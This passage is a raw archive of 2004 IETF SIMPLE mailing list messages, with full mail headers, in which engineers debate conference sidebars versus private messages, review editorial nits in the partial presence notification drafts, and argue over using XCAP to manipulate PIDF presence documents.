References: <313680C9A886D511A06000204840E1CF070B6488@whq-msgusr-02.pit.comms.marconi.com> <40442B9F.9090606@nokia.com> <40451C4C.5020800@cisco.com>
In-Reply-To: <40451C4C.5020800@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 03 Mar 2004 01:09:19.0730 (UTC) FILETIME=[27F2ED20:01C400BC]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 02:36:55 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



ext Paul Kyzivat wrote:
<snip />
>> Hmm.. which systems are these? The ones I've used have both private 
>> messages *and* sidebars.
> 
> 
> It seems that in principle the difference between sidebars and private 
> messages is simply one of UI design. A particular client could support 
> one or the other, or both.
> 
> But you also seem to require that the initiator be able to choose which 
> user experience the recipients will have. That turns it into a protocol 
> issue. In general I would consider this a bad idea. But it is largely a 
> human factors issue, and I don't feel qualified to comment on it except 
> from the perspective of personal preference. But it seems that whole 
> discussion hinges on whether there is a valid requirement for giving 
> senders that degree of control over recipients.

You could put it that way, yes. But this is dancing around the issue, 
which is that using sidebars alone to effect two different functions in 
a conference results in unpredicted user experience. Because REFERing 
another user to a sidebar is supposed to do both X and Y, but which one 
depends on the recipient's implementation.

That does not work. That's why IRC for example has a command for 
inviting someone to a sidebar channel

	INVITE user #sidebarchannel

*and* a command for sending a private message in a channel

	PRIVMSG user :This is a private message.

Of course this has UI implications, because these are separate 
functionality. This is the same thing as a MESSAGE having different user 
experience than an INVITE in SIP. A sender of a MESSAGE can certainly 
expect the recipient to behave differently than when it receives an 
INVITE. I thought this was basic protocol design!

Cheers,
Aki



> 
>     Paul
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 20:37:03 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18720
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 20:37:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLJn-0000Px-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 20:37:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLIo-0000FC-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 20:36:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLI0-00006w-00; Tue, 02 Mar 2004 20:35:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLHq-0001XU-G6; Tue, 02 Mar 2004 20:35:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLGz-0001S8-75
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:34:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18459
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:34:06 -0500 (EST)
From: mikko.lonnfors@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLGx-0007lj-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:34:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLGA-0007Z2-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:33:19 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLEg-00079d-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:31:46 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i231ViZ14003;
	Wed, 3 Mar 2004 03:31:44 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 03:31:24 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i231VORI004370;
	Wed, 3 Mar 2004 03:31:24 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00rQFsYV; Wed, 03 Mar 2004 03:31:23 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i231VN720276;
	Wed, 3 Mar 2004 03:31:23 +0200 (EET)
Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 03:31:21 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Comments on partial notification drafts
Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF01C1DD9D@esebe004.ntc.nokia.com>
Thread-Topic: [Simple] Comments on partial notification drafts
thread-index: AcQAcuW3/wbCPYXlTJqpyTx6v8zJHwARkYkQ
To: <akristensen@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 01:31:21.0629 (UTC) FILETIME=[3BDCB4D0:01C400BF]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 03:31:22 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable


Thanks Anders for comments. Inline:

- Mikko

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org] On
> Behalf Of ext Anders Kristensen
> Sent: Wednesday, March 03, 2004 1:20 AM
> To: simple@ietf.org
> Subject: [Simple] Comments on partial notification drafts
>=20
>=20
> These are mostly nits...
>=20
> draft-ietf-simple-partial-pidf-format-00
>=20
> The numbers refer to secions in the draft.
>=20
> 2. The MIME type 'application/partial-pidf+xml' is used instead of
> 'application/pidf-partial+xml' a couple of times.

Will be fixed

> 3.1: s/resent/recent/
>=20
> 3.3 Presumably <removed> elements can only appear in docs with
> state=3D"partial". Maybe worth saying that.

yes
=20
> Also, maybe appropriate to say something about when the id of
> a removed=20
> tuples can be safely reused (not a good idea to use it for a=20
> new tuple=20
> in the doc that says the previous tuple with the same id has=20
> been removed).

Next version will state that tuple Ids must be unique in the document.

> 4. The last paragraph is a little hard to understand. I think it says
> that individual tuples are always carried in full in=20
> pidf-partial docs=20
> but it could be more clearly stated.

Yes, that is the intension. I will try to clarify that.

> 6. The partial doc lists <removed> before <tuple>. I believe the base
> types (PIDFs <presence> element) content model must appear=20
> before that=20
> of the extension. I don't know if you did this, but it would=20
> probably be=20
> a very good idea to run the examples through a validating parser as a=20
> sanity test.

This may be true. I need to check this.
=20
> 7. The partial-presence type extends pidf:presence and defines the
> entity attribute although this is already defined for the=20
> pidf:presence=20
> type. Is it necessary to "redefine" this attribute?

Actually no. I will remove this.

> What about <presence> elements (including extension elements)
> not part=20
> of tuples? Are those always included in pidf-partial docs? (Actually,=20
> yes. Says so in 3.2 of draft-ietf-simple-partial-notify-01. Maybe it=20
> should say so in the format doc too.)

I can add that.
=20
>=20
> draft-ietf-simple-partial-notify-01
>=20
> 1.
>=20
> s/ , //
> s/trasported/transported/
>=20
> 3.2
>=20
> s/concidered/considered/
> s/to be local the/to be the/
> s/wathcer/watcher/
> s/everything what is/everything that is/
> "when an update is send to a tuple..." doesn't make much sense.
>=20
> 5. In F3 the version attribute is "1" but the text (section 4.4)
> required "0" for the initial, full content.
>
> F5: Again, AFAICT <removed> must go after <tuple> elements.
>=20
> s/<notexml:lang/<note xml:lang/
>=20
> 6. s/notificatiuon/notification/
>=20
> Anders
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 20:37:35 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18809
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 20:37:35 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLJq-0002HV-Os
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 20:37:06 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i231b6SH008752
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 20:37:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLJq-0002H0-AQ
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 20:37:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18738
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 20:37:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLJo-0000Q2-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 20:37:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLIp-0000FK-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 20:36:04 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLI0-00006w-00; Tue, 02 Mar 2004 20:35:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLHq-0001XU-G6; Tue, 02 Mar 2004 20:35:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLGz-0001S8-75
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:34:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18459
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:34:06 -0500 (EST)
From: mikko.lonnfors@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLGx-0007lj-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:34:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLGA-0007Z2-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:33:19 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLEg-00079d-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:31:46 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i231ViZ14003;
	Wed, 3 Mar 2004 03:31:44 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 03:31:24 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i231VORI004370;
	Wed, 3 Mar 2004 03:31:24 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00rQFsYV; Wed, 03 Mar 2004 03:31:23 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i231VN720276;
	Wed, 3 Mar 2004 03:31:23 +0200 (EET)
Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 03:31:21 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Comments on partial notification drafts
Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF01C1DD9D@esebe004.ntc.nokia.com>
Thread-Topic: [Simple] Comments on partial notification drafts
thread-index: AcQAcuW3/wbCPYXlTJqpyTx6v8zJHwARkYkQ
To: <akristensen@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 01:31:21.0629 (UTC) FILETIME=[3BDCB4D0:01C400BF]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 03:31:22 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable


Thanks Anders for comments. Inline:

- Mikko

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org] On
> Behalf Of ext Anders Kristensen
> Sent: Wednesday, March 03, 2004 1:20 AM
> To: simple@ietf.org
> Subject: [Simple] Comments on partial notification drafts
>=20
>=20
> These are mostly nits...
>=20
> draft-ietf-simple-partial-pidf-format-00
>=20
> The numbers refer to secions in the draft.
>=20
> 2. The MIME type 'application/partial-pidf+xml' is used instead of
> 'application/pidf-partial+xml' a couple of times.

Will be fixed

> 3.1: s/resent/recent/
>=20
> 3.3 Presumably <removed> elements can only appear in docs with
> state=3D"partial". Maybe worth saying that.

yes
=20
> Also, maybe appropriate to say something about when the id of
> a removed=20
> tuples can be safely reused (not a good idea to use it for a=20
> new tuple=20
> in the doc that says the previous tuple with the same id has=20
> been removed).

Next version will state that tuple Ids must be unique in the document.

> 4. The last paragraph is a little hard to understand. I think it says
> that individual tuples are always carried in full in=20
> pidf-partial docs=20
> but it could be more clearly stated.

Yes, that is the intension. I will try to clarify that.

> 6. The partial doc lists <removed> before <tuple>. I believe the base
> types (PIDFs <presence> element) content model must appear=20
> before that=20
> of the extension. I don't know if you did this, but it would=20
> probably be=20
> a very good idea to run the examples through a validating parser as a=20
> sanity test.

This may be true. I need to check this.
=20
> 7. The partial-presence type extends pidf:presence and defines the
> entity attribute although this is already defined for the=20
> pidf:presence=20
> type. Is it necessary to "redefine" this attribute?

Actually no. I will remove this.

> What about <presence> elements (including extension elements)
> not part=20
> of tuples? Are those always included in pidf-partial docs? (Actually,=20
> yes. Says so in 3.2 of draft-ietf-simple-partial-notify-01. Maybe it=20
> should say so in the format doc too.)

I can add that.
=20
>=20
> draft-ietf-simple-partial-notify-01
>=20
> 1.
>=20
> s/ , //
> s/trasported/transported/
>=20
> 3.2
>=20
> s/concidered/considered/
> s/to be local the/to be the/
> s/wathcer/watcher/
> s/everything what is/everything that is/
> "when an update is send to a tuple..." doesn't make much sense.
>=20
> 5. In F3 the version attribute is "1" but the text (section 4.4)
> required "0" for the initial, full content.
>
> F5: Again, AFAICT <removed> must go after <tuple> elements.
>=20
> s/<notexml:lang/<note xml:lang/
>=20
> 6. s/notificatiuon/notification/
>=20
> Anders
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 20:57:52 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA20076
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 20:57:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLdw-0003jS-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 20:57:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLd3-0003a2-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 20:57:00 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLcB-0003Oz-00; Tue, 02 Mar 2004 20:56:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLcA-0004Ud-2R; Tue, 02 Mar 2004 20:56:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLbu-0004U8-6k
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:55:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19877
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:55:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLbr-0003Gp-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:55:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLaZ-00033V-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:54:25 -0500
Received: from imr2.ericy.com ([198.24.6.3])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLZo-0002rv-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:53:37 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i231r7fX008224
	for <simple@ietf.org>; Tue, 2 Mar 2004 19:53:07 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 2 Mar 2004 19:48:23 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYMRFCW>; Tue, 2 Mar 2004 19:52:50 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95C5@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400BF.B6FAFE74"
X-OriginalArrivalTime: 03 Mar 2004 01:48:23.0968 (UTC) FILETIME=[9D394200:01C400C1]
Subject: [Simple] Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on
 draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 19:52:01 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.6 required=5.0 tests=AWL,HTML_30_40,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE autolearn=no version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C400BF.B6FAFE74
Content-Type: text/plain;
	charset="iso-8859-1"

Sorry, I had the wrong draft in the subject, but I meant the PIDF Manipulation draft.
Comments inline/gf

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 8:24 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on draft-isomaki-simple-xcap-publish-usage-00


Hi George,
 
First of all, the document you are referring to has been updated with this one:
http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt <http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt> 
 
I'll submit the WG version shortly after the meeting. The changes compared to the version you read are mainly clarifications, so I think your comments would apply to the new draft as well. My anwers to each point below:
 
1) XCAP operations are hard state by nature, no refreshing is needed, so this is inherently hard state manipulation. 
/gf 
Agree, but how do you prevent users, from using XCAP from manipulating presence soft states.
I assume that all the presence tuples are part of the same presence document. 
Now you are advocating selective manipluation of some tuples and not others using XCAP.
Have I misunderstood something here ?
How will you enforce that ?
gf/
 
 2) The default model I have in mind is that each presentity would have exactly one persistent device-independent presence document that would be manipulated by XCAP. That would be fed to the composition logic to complement the PUA/device-specific documents published using SIP PUBLISH mechanism.  
XCAP is meant to be a generic XML-manipulation mechanism, so there should be nothing specific in this application usage. Once the base XCAP is finished, we'll see what the exact mechanisms to mandate supported namespaces are, and we'll adopt that convention in this draft too. This is probably still changing from xcap-02 draft, as was discussed in SIMPLE session.  
 
/gf
Not totally true
XCAP have a limited set of rules for HTTP URI creation.
So it is not meant for *any* XML document.
I think the XCAP framework is clear on that
You would need to expand those rules, which can complicate things quite a lot, not to mention slow things down, to make it more generic. 
gf/
 
3) I'm not sure if I understood the question. This is not a template for any applications that want to use XCAP, this is standardizing how XCAP is used to manipulate PIDF-formatted presence documents. As there is no computed data or anything, I guess an app usage for any XML doc would be quite similar to this one. 
 
/gf
For event packages we have a template that have to be filled by for anyone who wants to create a new event package.
So I am asking if your document presents a template, similar to the event package approach. (forget about the content for your application)
I am not sure if I am clear on that one. 
gf/
 
4) Surely there are many ways to manipulate PIDF documents. However, in context of SIMPLE, XCAP is a natural choice since it's needed already in any advanced presence-capable device. Could you explain what kind of complexities you mean? This is as simple an XCAP usage as there can be. Are you saying that XCAP in itself is complex? A more simple way would be to use just normal HTTP PUT and DELETE, but since we have XCAP at our disposal, why not use it. 
 
/gf
The complexities will arise if we allow users to do selective manipulation, using XCAP, for certain tuples *only*, and using PUBLISH for the remaining tuples.
So I need to see your answer first to my response to your first  bullet before I go further
 gf/ 
 
Markus

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 02:47
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on draft-isomaki-simple-xcap-publish-usage-00




Hi Markus, 

I have some comments on your draft: 

1) Although you indicate that this should be used only for hard states, what is there to prevent users from manipulating other presence states in there through XCAP.

2) XCAP is meant to be used for documents that are created to take advantage of the defined XCAP rules for HTTP URI creation. Which XML presence documents in particular are you proposing that they get manipulated by XCAP.  

How do you ensure that the current XCAP rules are suffiicient for the purpose you have in mind. I also doubt that you can use the current XML presence documents (PIDF and extensions) for XCAP purposes as is. For example, should there not be the element mandatory-ns, in there, as per the XCAP framework.

3) Is this template meant to be a generic template to be used by all applications that want to use XCAP. 

4) Finally, I believe that there are other, out-of-band means, to accomplish your goals, i.e. manipulate hard states, without the unwarranted complexities that the draft creates. Thus, there must be explicit references in the draft to that fact.  

/gf 
Ericsson Canada 



This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. 

 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

------_=_NextPart_001_01C400BF.B6FAFE74
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; charset=3Diso-885=
9-1">
<TITLE>Comments on draft-isomaki-simple-xcap-publish-usage-00</TITLE>

<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN class=3D509473301-=
03032004>Sorry,=20
I had the wrong draft in the subject, but I meant the PIDF Manipulation=20=

draft.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D509473301-03032004>Comments inline/gf</SPAN></FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px so=
lid; MARGIN-RIGHT: 0px">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT face=3DT=
ahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Markus.Isomaki@noki=
a.com=20
  [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March 02, 20=
04 8:24=20
  PM<BR><B>To:</B> George Foti (QA/EMC); simple@ietf.org<BR><B>Subject:</=
B> RE:=20
  Comments on draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></=
DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f size=3D2>Hi=20
  George,</FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f=20
  size=3D2>First of all, the document you are referring to has been updat=
ed with=20
  this one:</FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f size=3D2><A=20
  href=3D"http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-p=
idf-manipulation-usage-00.txt">http://www.ietf.org/internet-drafts/draft-=
isomaki-simple-xcap-pidf-manipulation-usage-00.txt</A></FONT></SPAN></DIV=
>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f size=3D2>I'll=20
  submit the WG version shortly after the meeting. The changes compared t=
o the=20
  version you&nbsp;read&nbsp;are mainly clarifications, so I think your c=
